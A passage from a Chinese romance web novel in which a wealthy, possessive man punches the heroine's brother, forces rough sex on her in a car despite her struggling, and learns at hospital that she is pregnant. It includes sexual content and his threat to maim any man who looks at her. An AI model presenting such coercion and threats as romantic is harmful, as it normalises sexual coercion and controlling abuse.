许是看出了林青盏的疑惑,林博蘅解释道:“三爷和林小姐不知道,博昶从小就将三爷当做偶像,一心想要追随三爷。” “偶像?”林青盏更加不解,转身看向傅随之,实在看不出傅随之这张冷脸哪里值得林博昶将他当做偶像的,“是因为他长得好看吗?” 傅随之:“……” 林博昶笑了声,“林小姐果然有眼光。我觉得三爷是这世上长得最最好看的人。” 傅随之眉宇往下垂,明显对他们敢当面点评他十分不满。 秦楠都想偷笑,还是第一次看到三爷被人联合调戏的。 林博蘅适度将话题拉回来,“这要说到学生时期的偶像情节。博昶跟三爷是同个中学的。初一刚到学校的时候,被高年级的学长为难,是三爷出手相救。” 据林博昶的夸张说法,当时他觉得傅随之就像是古希腊神话里的mars突然出现在他面前,那张脸冷得像是天山冰川,将坏人震慑住,解救他于水火之中。 以往林博昶只知道傅随之是傅家人,那天之后深刻感受到傅随之的魄力,就一直想追随傅随之,但每次去找傅随之,傅随之都没让他将话说完。 没想到后来林家有难,傅随之会答应他签卖身契换资金的要求。 林博昶就差要抱住傅随之的大腿,“三爷,我誓死追随你。有什么尽管吩咐。” 傅随之冷冷瞥他,“离我远点。” “……” 虽然这要求很冷酷,但林博昶还是照做。 秦楠觉得他真的是病得无可救药。 傅随之到场后,林博昶宣布生日宴会开始。 从始至终,傅随之都冷冷坐在旁边的米白色沙发上,像是置身事外的神。 他自己无所谓,林青盏对于那些频频投过来的目光很敏感,有些受不住。 她起身去拿香槟,刚巧林博蘅走过来换酒,趁着低头的瞬间小声提醒:“他在后院的云腾间。” 林青盏自然知道林博蘅口中的他是谁,她没有任何反应好似没有听到任何声音似的,从容淡定端起香槟,回到傅随之身旁。 她将香槟递给他,与他碰杯,“有件事我很好奇。” 傅随之转身看她,“我为什么会过来这里?” “嗯。” 林博昶玩在一起的都是些纨绔子弟,唯一能看的就一个林博蘅,但傅随之和林博蘅其实没有交集,不算熟。 “难道真的单纯是给林博昶面子?” “算是。” “那我们要在这里待多久?” “再二十分钟离开。” 她点了点头,将香槟放在旁边的圆桌上,“那我去补个妆,很快回来。” “嗯。” 这山庄很是奢华,有许多玩闹的地方,就连后院都是各种不同玩乐方式的厢房,林青盏刚刚已经问好了路。 她假意往洗手间走去,原是想打个掩护,出来后再去找贺兰承 ,若是刚巧碰上人,也可以说是不识路走岔了。 却不想竟然在洗手间里遇上了沈钰铭。 奢华洗手间里,一整排白色的洗手台,挂着明净的镜子。 沈钰铭穿一身华丽的青色长裙,头发精心整理过,很有气质。 她捏着一管艳丽口红慢条斯理补着妆,看到镜子里的林青盏并不意外,像是恭候多时。 刚刚party开始时,林青盏陪着傅随之在主场坐着,并没有看到沈钰铭,现在看她那眼神,林青盏了然,沈钰铭是特意过来在这边等着她。 林青盏迈步走过去,洗了洗手,旁若无人补了口红。 沈钰铭没料到她如此沉得住气,将口红丢进包里,转过身来盯着林青盏。 “林小姐应该知道我为什么在这里吧?” 林青盏不愿意理会,往外走去,沈钰铭很快追上来,在走廊上堵住她。 林青盏神色淡然望着她。 “我原本以为林小姐是聪明人,现在看来倒不像是。外面风声那么大,谁都知道傅家和沈家准备联姻,而我会是傅随之明媒正娶的妻子。难道林小姐半点不知情?” 林青盏淡笑,“是吗?我还真没听说。” 沈钰铭一时梗住。 林青盏嘴角的笑意更甚,“所以沈小姐今天是摆着正宫的姿态,想来叫我离三爷远一点?” “看来林小姐也不算笨。”她往前一步,“前面一个慕觞淙,林小姐吃过亏应当知道了,上流社会讲究门当户对,傅家不可能让一个戏子进门,即便傅随之现在中意你也没用。女人和权势,男人往往只会选择后者。” 原本林青盏是懒得跟她多说,她却以为林青盏怕她。 林青盏嘴角垂下,“沈小姐也是女人,堂堂沈家大小姐,自贬身价作为你口中权势的附属品,不觉得可笑吗?” 沈钰铭被她一句话梗住,片刻才缓下来,“你也知道我是沈家人,就应该明白只有我配得上三爷。” “你觉得你配得上,那今天何必侯在这个地方同我说这些话?” 林青盏不爱争执,但其实心底非常清楚,“傅家和沈家大肆宣扬要联姻的事情,三爷这段时间却与世隔绝,恐怕你们也非常清楚三爷的态度。只要他一天不点头,这门婚事就不可能进行。” 沈钰铭眼神闪烁。 “自打我跟了三爷后,他三番五次高调带我出场,护我周全。别说你,傅家自然也是看在眼底的。所以,你们以为他不点头是因为我。 要是真像你们所想,那又如何?你以为你想方设法到我面前说这么几句,我就该自卑自拙,觉得自己配不上他,离开他吗?” 林青盏眼底难得有了一股犀利,乍然间,沈钰铭感觉像是看到了傅随之似的。 “在我认为,我和随之之间是平等的,他中意我,我心悦他。他护我一分,我必回之十分。今天若是他自个儿点头答应傅沈这门婚事,我林青盏绝对不会纠缠。如果他无意,那即便傅沈两家闹得多轰动,我必然站在他身边。” 话音一落,身后传来鼓掌声。 林青盏抬眸,看到林博蘅和贺兰承走了过来,鼓掌的是林博蘅。 他身穿白色西装,看起来斯斯文文的,此刻眸底却沁着怒火,走到她们跟前,傲然看着沈钰铭。 “早就听闻,傅沈两家要联姻,我还以为都谈妥了。没想到原来是沈小姐自作多情?” 沈钰铭堂堂沈家大小姐,何尝被这样羞辱过,气得眼眶发红,瞪了林博蘅一眼,转身离开了。 林博蘅垂眸看着神色平静的林青盏,“抱歉小纾,我弟今天连宋雅薇都没叫,她应该是跟着谁混进来的。让你受委屈了。” 林青盏摇头表示没事。 她转过身看向远处站着的贺兰承,柔声:“哥。” 贺兰承一身黑色西装,戴着银框眼镜,却半点没有林博蘅身上的那股子斯文公子气质,反倒像是电影里的变态杀手般冷酷。 他目光落在林青盏身上,眼神才渐渐有了温度。 “过来。” 这边有个小院子,贺兰承将人带到院子的秋千旁边,林博蘅守在门口就能为他们把风。 贺兰承手握贺氏集团的大部分业务,每天都非常忙,并不是可以一直待在浮城的。 这段时间贺兰承回了趟马来西亚,赶着处理了一些事务,接到林博蘅电话,昨晚才飞来浮城。 不过这边发生的事情,贺兰承了如指掌。 他望着林青盏,眼神柔和许多,举手揉了揉她的脑袋。 “那天跟你说的事情想好了吗?” 林青盏抬眸看他,知道林解不可能轻易放弃,迟疑片刻,她还是跟他说了自己和傅随之互相钟意的事情。 林解明显不太赞同,“我不喜欢傅随之,他的世界太复杂,不适合你。” “其实他对我挺好的。” 林解深呼一口气。 见他神色不悦,林青盏转移话题,“哥,你能具体和我说说爸爸的事情吗?还有你当年到底为什么就消失了,是和爸爸的事情有关吗?” 这十几年她一直在找林解,也在调查当年的事情,但以她的能力和背景,压根查不到什么。 这也是为什么她听到慕殇淙给她送来哥哥的消息,会那么义无反顾想从傅家身上找寻林解的下落。 可想而知,让她自己去调查林峰平的事情,几乎不可能。 她也没办法去问傅随之,那还不如直接问林解。 贺兰承看了看林青盏。 当年的事情很复杂,两人相认后,贺兰承一直没有认真跟她说起这些事,都是一两句带过。 他知道她的性格,她跟傅随之现在的关系不一般,如果不明不白地就要带她走,她肯定不会答应。 只是有些事他现在也不确定,并不想让她跟着瞎操心。 他迟疑片刻,“当年我被人抓到海城,无意中被贺老救下回了马来西亚,耗费了几年才有资本派人去海城调查。” 当时的林解只知道抓他的是傅清檐,猜测或许和林峰平以前的事有关,但是他资本和能力有限,并没能查出什么。 也是后面他掌权了,才能调查到一些事情的真相。 “我查到的是,爸爸很早就在傅家做事,傅清庭觉得他为人实诚,留下他当司机。二十七年前的八月十五,傅清庭去临城出差回来,遇到下大雨,在城郊高速路口不远处的道上出了车祸,当场死亡。 跟着没了的还有傅随之的助理陈卫,而爸爸作为司机,消失在现场。” 林青盏眨了眨眼睛,心底闷闷的。 “爸爸具体做了什么,为什么离开浮城,一直蜗居在月亮街?这些我还是没查清楚。” 贺兰承看着她,“应该不止是我,这么多年,傅随之也没有查到有用的东西。否则,依照他的行事风格,不可能还留着傅清檐。” 林青盏脑海里想到什么,嘴唇发白。 贺兰承继续说着,“他并不知道我就是林解,应该也还没调查到你的身份,不然他不会继续留你在身边——” “哥哥。”林青盏眼神微颤,“他可能是知道的。” “什么?” “他知道我的身份。” 贺兰承蹙眉。 “当初我会留在他身边,一个是为了保护望月台,另一个原因是慕殇淙告诉我,你去过游园惊梦以后就消失了。我以为你是刚好被带去游园惊梦的孤儿,应该是被送去哪个地方被人领养了。” 她握紧双手,“后来我去游园惊梦时,偷偷翻了登记册,看到里面有你的收养记录。” 【林解,去马来西亚,是商人领养。】 这是登记册上的记录。 可是林解明明不是被领养的,他后来被傅清檐的人带走了,下落不明。 这些事情傅随之不知道。 既然他不知道林解当年发生了什么,记 录册上就不该出现林解的相关记录。 贺兰承神色冷了下来,“那记录册是他伪造给你看的,她知道你在找我。” 也就是说,傅随之知道她是林峰平的女儿。 第52章 傅随之知道她是林峰平的女儿。 贺兰承听到这个,眉宇紧促,盯着林青盏,带着她离开的想法更加笃定。 林青盏心底却是犹豫的。 外人都说,傅随之是浮城上流圈“阴狠”的代名词,这人行事雷厉风行,阴狠毒辣,就没有人不怕他的。 以前在望月台听说他的那些事迹,林青盏也觉得毛骨悚然。 刚开始跟他的时候,他很冷漠冷酷,霸道得很,一点不温柔,还阴晴不定,让人不敢靠近。 可是随着两人的心越来越靠近,她也看到过他温柔的一面,虽然他不喜欢表达,但是她也能感觉到他在尽量周到体贴对待她。 更何况,她喜欢他,并不想随意放弃他。 贺兰承怕她被感情冲昏了头,往前一步靠近她,劝说道:“为什么我一听到你惹上傅随之,不敢耽误立马过来浮城,因为傅随之这个人就没那么简单。” 林青盏看了看贺兰承,心底还是坚持的。 “傅随之四岁成为孤儿,妹妹消失不见,一个小孩子在傅府那样的环境存活下来,你想一想就知道多不容易。而且我听说,傅怀锦不愿意让他养成傅清庭那种温善的性格,处处压迫他。还有个傅清檐整日里跟他作对,这样的环境下,养出来的性格——他比你想象中还要心狠毒辣!” “哥,他对我很好的。” 贺兰承气笑了,“你知不知道,他五岁就会拿枪指着要闯进海棠苑的人,十岁考进浮梦今安后,将傅清檐安插在他身边的人一律清除,还断了为首那人一只手,以示警告。十八岁在国外成立公司,被黑人抢劫,他孤身一人打废了那几个黑人不说,还故意将人丢在公司门口示众,连当地的□□都不敢再得罪他。” 这些事情,林青盏倒是完全不知道。 “五岁持枪,十岁折断人手,十八岁单挑□□,更别说之后的每一件事,傅随之这个人狠起来跟不要命似的。而且我发现他这个人呲牙必报。” 那件事过去多年,傅清庭和林峰平都已经去世,到底是不是林峰平害死傅清庭的,他们现在都调查不清,即便是傅随之恐怕也不能那么简单知道真相。 没有结果的调查,只会让疑惑变成是“真相”。 所有人都本能觉得林峰平就是害死傅清庭的凶手,不然他为什么逃走不敢见人? 难保傅随之不会这么觉得。 但凡傅随之知道林青盏是仇人的女儿,就他那性子,必然不会轻易放过林青盏。 更何况,傅随之怕是已经知道了。 贺兰承不敢让林青盏冒险,决定:“我马上安排让你离开浮城。” 他拉着林青盏就要离开,林青盏却反抓住他的手腕,“哥哥,等下。” 贺兰承回眸,听她说道:“如果他真的知道了,想对我做什么,不必等到现在。而且我相信他不是那种不辨是非的人,那件事当年调查都没有个结果,爸爸也可能跟他父亲的死没有关系。所以,我还是——” “小纾!”贺兰承冷冷看着他:“你才认识他多久,你就这么相信他?我刚刚说的那些,你是都听不进去?” “你说的那些,他也没办法不是嘛。他小小年纪,要想存活下来,就得这样,让别人觉得不好惹才不会被欺负。” “那你知不知道他当年在美国是怎么利用第一桶金来成就自己的。他在短短一个月内吞并了十六家小型企业,让十六家企业的员工一夜间失业,在他眼底,只有权势,压根没有人性。” “可是这个不是生意场上很正常的事情吗,这种事情应该怪那些企业的老板——” “小纾,你才认识他多久,这么相信他么?你还没看出来吗,他早就被培养成冷血动物,连心也是冷的。你当真以为他跟你在谈感情?他这种人是不可能有感情的。如果他当真知道你的身份,还将你留在身边,只会是因为他想从你身上得到他想要的。一旦得不到,他就会对你下狠手——” “不会的!” 林青盏徒然提高音量。 贺兰承所有的激动瞬间被压下,他双眸紧紧盯着林青盏。 林青盏那张婉约婉柔的脸蛋,此刻满是笃定,“我相信他不会伤害我。” “小纾——” “哥。”林青盏望着贺兰承那双黝黑眼眸,“我相信他,他绝对不会伤害我的。我也不会走,我要留在他身边。” “不行。” 当初贺兰承回国,就是担心林青盏的安危,想要回国将她带走。 只是这件事需要说服林青盏点头,不可心急,他才耗费了这些时间。现在他发现傅随之可能知道什么,是不可能再等的。 他抓住林青盏的手腕,“不行,你必须跟我走!” 林青盏倒是平静许多,“哥哥,你先冷静一下。” “我冷静不了!” 他只剩下林青盏这么一个亲人了! 他抓着她如玉手腕,急忙要离开时,有一双手过来拽住他。 是傅随之。 傅随之捏住贺兰承的手腕,冷冷呵斥:“放开她。” 这里毕竟是在浮城,贺兰承没轻易妄动。 他松开林青盏的手腕,还没来得及想托辞,傅随之的拳头直接挥了过来,揍得贺兰承一脑门撞在旁边灰色墙壁。 林青盏赶忙过来抱住傅随之,“三哥,别打了。” 傅随之将人揽入怀中,眼中满是不解,“他抓你作什么?” 一时间,林青盏脑袋嗡嗡嗡,下意识说:“他喝多了吧。估计是认错人。” 傅随之歪头,幽深眼眸里满是不解。 林青盏担心他再出手,抓着他宽厚手掌,将人往门外拉。 直到上了车,傅随之脸色依旧很冷。 他从旁边抽出湿纸巾,抓起她的手腕上上下下仔细擦了一遍,声音像是淬着寒霜般冰冷,“他骚扰你,不会大声呼救?” “她其实没有骚扰我,就是——”林青盏不知道该如何解释,只能说:“可能喝了些酒,不太清醒,并不是故意的。” 对于贺兰承,傅随之的印象并不好,记忆里好几次他总是盯着林青盏看,像是对她极有兴致。 所以今晚的事情,傅随之不信只是单纯的意外。 傅随之冷声吩咐秦楠:“找人给他点教训。” 浮城谁人不知道林青盏是他傅随之的人,贺兰承竟敢对她动手动脚,这口气傅随之是断然咽不下的。 秦楠:“是。” 林青盏急了,抓住傅随之的手解释:“我看他真的不是故意的,应当是喝多认错人了。” 傅随之冷声:“喝多了就可以碰你?” “我不是这个意思。”林青盏解释,“他不过是拉了我一下,我也没有受伤,你不用这样上纲上线要去找他麻烦。没有必要——” 意识到不对劲,她霍然收了声音。 车厢里寂静无声,前头的秦楠连呼吸都不敢太大声,默默抬眸看向后视镜,对于林青盏为维护别人忤逆三爷,也是极为惊诧的。 果然,下一秒傅随之眉眼垂着不悦,周身的气息冰冷异常。 司机在前头找了个极为隐秘的角落下车,秦楠借口说他们想去上个洗手间,三秒后伙同司机一起消失无影踪。 林青盏望着车窗外灰暗夜空,隐约能听到草丛里蝉鸣的叫声。 她眨了眨眼睛,略有些不安地看向傅随之。 他身上一袭高级定制西装,黑色衬衫黑色领带,身姿挺拔坐在后座,脸庞轮廓锐利,双眸清冷,在这黑夜里,活像个阎罗王。 她纤细指尖去勾住他手腕,轻轻在他肌肤点了两下,是在主动与他求和。 傅随之反抓住她的手掌,劲儿很大,像是要将她的骨 头捏碎似的,那双眼眸更是冷得不像话,犹如冷飕飕的箭,朝她射过来。 林青盏心底是有些委屈的。 贺兰承担心她安危想带她离开,她不愿离开,是觉得傅随之对她终究有感情,她相信他不会伤害自己。 他们两人已经不再是最初的肉.体.关系,而是真正的恋人,所以她选择站在他这边,她想跟他继续在一起。 为他忤逆哥哥抗拒哥哥,已经觉得很委屈不能跟他说,他现在还误会她,凶她。 她浓密眼睫眨了眨,再看向傅随之时,眼神略有些哀怨。 傅随之气笑了,“在我面前维护其他男人,为旁人指责我,我还没说什么,你倒是先委屈上了?” “我没有维护他,我只是——” 傅随之修长手掌贴着她白皙脖颈往上狠狠掐住她的下巴,迫使她抬起头与他四目相对。 “没有吗?” 要是外人见了,必然觉得傅随之这表情像是要吃人般可怕,但林青盏不怕他,她勾住他的小手指,“你轻点,弄疼我了。” 傅随之眸光闪烁了下,没有出声,但手掌倒是松开了。 他抓着她肩膀,将人拎过来,让她坐在腿上,手掌掐着她的腰肢,近乎摩挲得往上揉着。 温热的嘴唇贴在她柔嫩嘴角,气息都是滚烫的,声音却依旧很冷。 “记住你是谁的人,该维护的是谁。” 跟了他这么长时间,林青盏早将他的性子摸透。 这种时候,只要不忤逆他,顺着老虎毛往下梳,便能将他的气焰都掐下来。 她举起双手环住他的脖子,微微抬眸,唇尖从他唇角擦过,“我是你的人。我只是不想你废心思去做这些不想干的。” 傅随之不为所动。 她勾住他衬衫衣领,微微抬头,吻住他的唇,轻柔地碾过。 他傲然坐着,没有阻止她,也没有任何回应。 心底的委屈像是烟花般炸开,林青盏突然没了兴致。 管他生不生气! 她垂下手臂,想回到自己的座位,却被他掐着腰拽了回来,猛地坐在他那儿。 朝气蓬勃。 “你现在倒是越发有脾气了?” 她抬头对上他那阴冷的眼眸,眨了眨眼睫,“就你能有脾气么?” 她双手抵着他胸膛要起身,被傅随之捏住颈后摁住。 他低头粗暴地吻上她的唇,林青盏脾气上来也是倔,双手抵在他胸膛使了劲儿想将人推开,只是力量终究敌不过他。 傅随之抓着她脖颈,过于用力手背腾起青色脉络,情绪是从未有过的烦躁。 他不想让林青盏有半分挣扎,将人摁在车门上,手掌摸到蕾丝用力一扯,那柔软布料缠绕在他指尖。 林青盏抬头,刚巧对上他的眼眸,从里面看到了某种傲然的漠视的上位者压制,好冷,没有任何温度。 她心底那股子委屈全然涌了上来。 傅随之并且察觉,抓起她的脚踝,低头含住圆润的大拇指,舌尖舔了舔,而后慢慢往下,找到。 这样的事情不是没有发生过,只是以往他满是温柔,故意的挑逗成了男女之间的趣味。 而此刻,林青盏被迫抵在车门上,脊背被什么膈应得很疼,抬眸看到他耸动的脑袋,同时某种难耐的刺激感像是电流过身,并未让她觉得愉悦,只有更委屈。 她推着他的头,想挣扎翻身,却刚好称了他的意,从背后被他紧紧环住腰肢,拽入了深渊。 傅随之意识到不对劲,是因为她在流血。 他只跟她做过,经验单薄,但也知道除了第一次,其他时候不可能如此大量出血。 他诧异抬眸,看到林青盏嘴唇发白,犹如跳上岸的鱼,呼吸困难。 他抓来西服外套盖在她身上,将她搂入怀中,手掌捧着她苍白脸蛋,一时间不知道该如何。 林青盏拽住他的袖口,气若游丝,“好疼啊。” 他不敢耽搁,打电话把秦楠和司机叫回来,径直去了医院。 急诊妇科。 林青盏躺在狭窄的病床上,医生正在给她做检查,粉色拉帘阻隔了傅随之的步伐。 秦楠在他身后,也是胆战心惊。 上次在玻璃花房把人做得发高烧,这次直接把人弄得大出血搞进急诊室。 秦楠是真不知道,他们家三爷在这方面有这么重的需求,或者是技术太差?? 反正他不敢多说一句,呼吸都尽量放慢。 傅随之脸色极其难看。 他身上的黑色衬衫和西装裤皱巴巴的,小手臂有几道抓痕,明显是林青盏留下的,从来精致的头发凌乱不堪。 嘴唇还渗着血丝。 他原本要跟着进去,但今晚值班的是位老医生,压根不管他是什么身份,没有在怕的,老医生一听到他做那种事把女孩子弄得大出血,直接把傅随之推出去,拉上帘子,完全不想给好脸色。 林青盏躺在病床上,感觉头顶的白织灯洒落下来的光刺得眼睛睁不开,她闭上眼睛。 方才还疼痛难忍的,现在倒是感觉好了许多。 在性这方面,她经验少,以往每次傅随之都不算温柔,也不会太疼,她习惯了,并不觉得是傅随之太强硬导致她受伤的。 刚刚看到出血,她的第一念头是推迟的经期终于来了。 再加上肚子疼,她更坚信如此。 老医生仔细为她做了彩超,二十分钟后,将机器关上,嘱咐她可以起身了。 随后,老医生拉开帘子,指着傅随之命令道:“家属去扶一下。” 傅随之赶忙往前,想将她直接打横抱起,被林青盏推开手臂,“我可以自己走。” 他才勉为其难扶着她肩膀让她落了地,随后将人搂入怀中。 老医生也是看出来了,这人穿着看着就不像是普通人,虽然那张脸极其清冷,但从头到尾望着女孩子的目光满是担忧。 她这老脾气才缓和了些许,到办公桌前坐下。 她将彩超单子搁林青盏面前,“你们结婚了?” 林青盏没料到医生会问这个,乖巧摇了摇头。 老医生又是一声叹息,“那回去就赶紧好好想想结婚的事。” 林青盏一时间没弄懂医生的意思,怎么看个病还催起婚来? 她身旁坐着的傅随之有所领悟,先一步拿起那彩超,看到底下的诊断结果,手指冷颤了下。 林青盏更加疑惑。 老医生解释道:“小姑娘,你怀孕了。这才6周。三个月内不能同房,回去要多注意,就算是男人要求,你也要知道拒绝。” 怀孕。 林青盏脸色更是苍白。 傅随之转头看她,手掌捏着她肩膀安抚,随后问医生,“除了不能同房,还需要注意什么?” “按照她的末次推算,胎儿周数偏小,不过这个可能跟排卵时间晚有关。我待会开个单子抽血看看,数值可以就没问题。现在出血量比较少了,回去还是要卧床休息,如果再有大量出血立即到医院复查。” 医生给开了抽血化验单,傅随之带着林青盏去抽血检查,秦楠还联系了认识的医生过来,半个小时后拿到化验单,又去找了那老医生。 老医生说hcg血值挺好的,猜测出血是同房造成,又嘱咐了一遍怀孕期间最好不要同房,特别是前三个月和后三个月是禁止的。 傅随之一一应下来,这才带着林青盏离开。 回到车上,林青盏背靠着柔软的坐垫,见傅随之抓住她的手,温柔亲了亲她的手背,才缓慢地有了真实感。 她怀孕了。 只是来得也太突然了。 原本半个小时的路程,愣是开了四十多分钟,司机连刹车的力气都温和了许多。 到了海棠湾,傅随之没让林青盏落地,双手将她打横抱起,感觉像是抱着一片落叶那般轻盈。 他脚步沉稳往里面走,脸庞锐利清冷,林青盏抬眸看了看他,一时间摸不透他的思绪。 傅小敏和傅小灵就在客厅里候着,见林青盏是被抱着进来的,站起身询问:“小姐怎么了,受伤了吗?” 秦楠过来抓住询问的傅小敏,对她摇了摇头,傅小敏更加疑惑。 傅随之脚步未停,径直往楼上走去,“叫医生过来。” 傅慎站在楼梯口,“是。” 等傅随之转身上了楼,傅小灵才凑到傅慎面前低声询问,“到底怎么了,哪里受伤了,严重吗?” 傅慎摇头,“小姐怀孕了。” “怀孕?”傅小灵和傅小敏异口同声。 她们才二十多岁的小姑娘,虽然被教育成了精英,在工作上一丝不苟完全可以独当一面,但这事儿不一样。 她们两个连恋爱都没谈过,怀孕完全是他们的知识盲区。 还是傅慎稳得住,让秦楠去叫医生过来,连检查设备都费大力气搬了过来,直接都推进卧室里面。 林青盏被傅随之放在柔软的床榻上,望着神色清冷的傅随之,轻启唇,刚想开口,门外的人走了进来。 傅随之退到旁边,医生过来又给做了一遍检查,不过十五分钟,一群人浩浩荡荡又出去了,只留下傅小灵在床边照顾。 林青盏转身看傅随之,他依旧没什么表情,沉着得很,跟着医生走到门口,低声询问:“怎么样?” 女医生如实回答:“医院检查大差不差。早孕,宫内妊娠6周。子宫内有积液。” 听到这,傅随之蹙眉。 医生随即解释:“积液不是大问题,卧床休息,后面再复查就行,这种一般都会自行消失。” 傅随之点了点头,“就是大人和胎儿都很健康?” 医生顿了顿,还是选择老实交代,“从医院的抽血数值来看,林小姐有贫血,这点还是得注意的,毕竟受孕对母体来说是件很受累的事情。胎儿,6周太小还看不出什么,等8周再做个彩超,胎心胎芽都出来才正常。不过三个月内都不稳定,还是要多休息。” 又具体了解了怀孕的一些事项,傅随之才让医生离开。 他转身往走廊尽头走去,刚走了三步又停下来,转身往回走,随后又停住。再次往书房的方向走去,到了书房门口又不进去,只站在原地,像是在思考什么。 秦楠和傅慎第一次看到傅随之这种状态,面面相觑。 秦楠用眼神询问:「爷这是怎么了?」 傅慎:「太高兴了。」 秦楠:「爷那张脸那么冷,看着不像是高兴的样子。」 傅慎:「就是高兴!」 傅随之在原地站了三秒钟,最终还是转身回了主卧。 傅小灵见人过来,立马起身退了出去。 房间里只剩下他们两人。 头顶可变色水晶灯落下暖橙色的光,映照在傅随之脸庞,并未削减他身上的锐利感,那双眼眸始终像是覆着一层抹不开的冷霜。 林青盏躺在真丝被中,感觉房间里的冷气太凉,指尖都带着冰凉。 她抿了抿唇,心底的气还没散,存了心思故意要等他先开口。 傅随之一身黑色衬衫皱巴巴挂在他身上,即便发丝已经整理过,看着还是有些狼狈,完全没有平日里的矜贵。 不只是外貌,他的心此刻也略显仓皇。 他从未想过他会有一个孩子。 沉静片刻,傅随之终于迈步走过去。 林青盏抬眸看到他站在床边,沉默不言看着她,心底突突跳着。 三秒后,傅随之弯腰将她抱起来,林青盏惊得抓住他的衬衫,“做什么?” 傅随之垂眸对上她那桃花眼,声音极其沙哑,“带你去洗澡。” 等了许久,林青盏完全没想到等来的第一句话是这个。 她眨了眨浓密眼睫,修长手臂环住傅随之,什么话都没能说出口,被傅随之带入浴室。 这边的浴室极为宽敞,有专门的换衣凳。 傅随之将人放在白色换衣凳上,转身走近淋浴房放洗澡水。 林青盏赤足踩着冰凉的瓷砖,抬眸看着忙碌的傅随之,悬着的心始终无法平静。 男人好似没有察觉,挽起袖子,为她放了洗澡水,又往里面倒入玫瑰精油撒落些许红艳玫瑰花瓣。 等着洗澡水放满,他站起身,退去身上的衣物,极为坦然走到她面前,抓着她的肩膀让她站起身,为她将那一身紫色长裙脱下,抱着人走近浴缸。 两人坐下后,水溢出些许,发出哗哗哗的声响。 林青盏着实忍不住,转过身抓住他指尖,“我们谈谈,好吗?” 傅随之将她转过身,让她背靠着他胸膛,拿了毛巾为她擦洗,“你还会出血,不能泡澡,洗完再说。” 修长手掌捧着她,林青盏什么话都说不出来了。 第53章 十分钟后,傅随之为她洗净身上的泡沫,套上粉色浴袍,抱回床上。 他从背后抱住她,将她的发丝往后拂去,露出白皙的脸蛋以及微微泛红的耳廓。 他洇润嘴唇在她脸蛋蹭了蹭,去咬住她的耳尖,“想谈什么?” 林青盏枕着他的手臂,纤细指尖捏着真丝被,目光落在前方的那海棠花香薰上。 洗了个热水澡后,全身的肌肤都像是裹着一层舒服的气息,让她后知后觉有些疲惫。 “车上你好凶,话都不让我说完。” 傅随之顿了顿,手指捏着她的下巴将她的脸掰过来,与她四目相对。 “不然?听你说着维护别人的话,还得献上笑脸?” “你不讲理。我哪里维护别人,我只是想着那是林博蘅先生的朋友,我跟林博蘅先生认识一场,不想弄得太难看。” 见傅随之眼神沉下来,林青盏识相没有多说,声音轻柔了几分,“好了。那都是不相干的人,我只是不想你生气。” 傅随之捏着她的手劲重了几分,“小纾,我承认我这人一向霸道,我的女人别说碰,多看一眼,我都会把那人的眼睛剐下来喂狗。” 林青盏后背瞬间就凉了。 “从第一天,我就告诉过你。你跟了我,全部只能是我,看其他人一眼也不行。” 林青盏抓住他的手指,“傅随之,我说过,这辈子我绝不背叛你。” 这话安抚了傅随之,让他彻底松开手,改而抱住她。 他自己或许从未发现,但林青盏却看清楚了,傅随之性情阴郁腹黑看似偏执,其实那双眼眸深处是颤抖的心。 他对于身边人的要求都很高,不能背叛,只能看着他,是因为他在害怕失去。 她对上他那双浅棕色眼眸,“那说说孩子。” 听到“孩子”两个字,傅随之的心重重咚了一声,这种感觉很奇妙。 从小他就很清楚,他虽然处于傅家这偌大的府中,但他始终只是一个人,跟他有血缘羁绊的就是那个失踪的妹妹。 他想过,即便找到了妹妹,恐怕妹妹也有了自己的人生,跟他不见得会太亲密,他会给妹妹所有,只要她幸福就好,他一个人也无所谓。 可现在,他有她,还有他们两人的孩子。 这种感觉太不真实,他现在都还不敢相信。 他这人习惯了情绪不外露,即便心底如此澎湃,面容却没有任何显露。 林青盏心底忐忑,轻声问他:“你是不是不喜欢他?你……不想留下他吗?” 傅随之贴着林青盏肚子的手掌没有了平日里的手劲儿,是很刻意在放柔动作。 “没有。别瞎想。” 没想到他的回答是笃定的否认,林青盏转过身面向他,双手不自觉攀上他的肩膀,“你愿意让我留下他?” 傅随之:“是。” 他将人搂入怀中,轻轻捏了捏她的肩膀,“睡吧。” 结果出乎预料,林青盏嘴唇不自觉勾起笑弧,纤细指尖贴在他结实的胸膛,没忍住仰起头去找到他的唇。 她很少主动做这些事,以往只用回应就好了,因此 吻起来难免有些生疏,毫无技巧地咬住他的唇吸吮片刻,灵活舌尖探入他唇齿间,勾着他的舌尖撩拨。 傅随之再沉稳的心思也被他撩得澎湃不已,气愤将人摁住,“睡觉。” 林青盏指尖贴在他润泽嘴唇撩拨两下,笑着靠在他胸膛,没多久就陷入沉睡。 傅随之深深吐了口气,等着她睡熟后,缓慢抽出手臂,为她盖好被褥,起身下床,光脚落地走近浴室。 浴缸里的泡澡水还未撤掉,泛着粉红色水泽,红色玫瑰花瓣飘飘荡荡着,傅随之一眼都没看,走过去,打开淋雨花洒,凉水瞬间浇了他一身。 但身上的欲.火半点没有消散。 他的手掌慢慢握住,想起方才为她擦拭时指腹拂过的那层柔软雪白,异样的感觉瞬间涌上来,他仰起头,迎接着冷水的冲刷。 所有的,倾泻而出。 他闷哼一声,喘.息着将那些洗净。 换了身浴袍走出来,他垂眸看了看熟睡的人,转身走到落地窗前,望着窗外的玻璃花房。 他在想,小公主会喜欢玻璃花房?或者给她建一座宫殿也可以。 要是男孩—— 傅随之想让林青盏教育,不要再像他这样,长大成了一个冷漠不会情感表达的冷血动物。 不管是男孩还是女孩,都好。 都很好- 清晨的风吹拂而来,床边的米白色窗帘微微晃荡。 床上蜷缩着的人动了动,片刻后翻过身,露出那张漂亮的脸蛋,如丝绸般的乌发披散下来,活像刚睡醒的小仙子。 林青盏轻柔伸了个懒腰,起身掀开被子,走近浴室。 她自己检查了下,发现血已经止住,应该就是医生说的那样,是昨晚在车上傅随之太过强硬才不小心落了血。 现在已经恢复了吧。 她换了身轻柔的连衣长裙,走出浴室,想去楼下用餐。 傅小灵刚巧推开门走进来,看到林青盏起身换了衣服,吓得走过去扶住她的手臂,“小姐你怎么起来了,医生嘱咐你要卧床休息。” 林青盏摇头说自己没事。 傅小敏将托盘放在桌上,也跟着走过来,“你现在怀着孕,事情可大可小,还是到床上继续休息吧。” 她还想解释,却拗不过这姐妹俩,只能又回到床上靠坐在床头,一脸无辜看向她们。 傅小敏将桌子推过来,把早餐一样样摆好。 “三爷昨晚临时叫了个营养师过来,说是后面小姐的一日三都由营养师准备。你看看这合你口味吗?” 林青盏很喜欢中式早餐,拿着白色汤匙喝了口小米粥感觉很不错,胃口开了,桌上的小菜都吃过一遍。 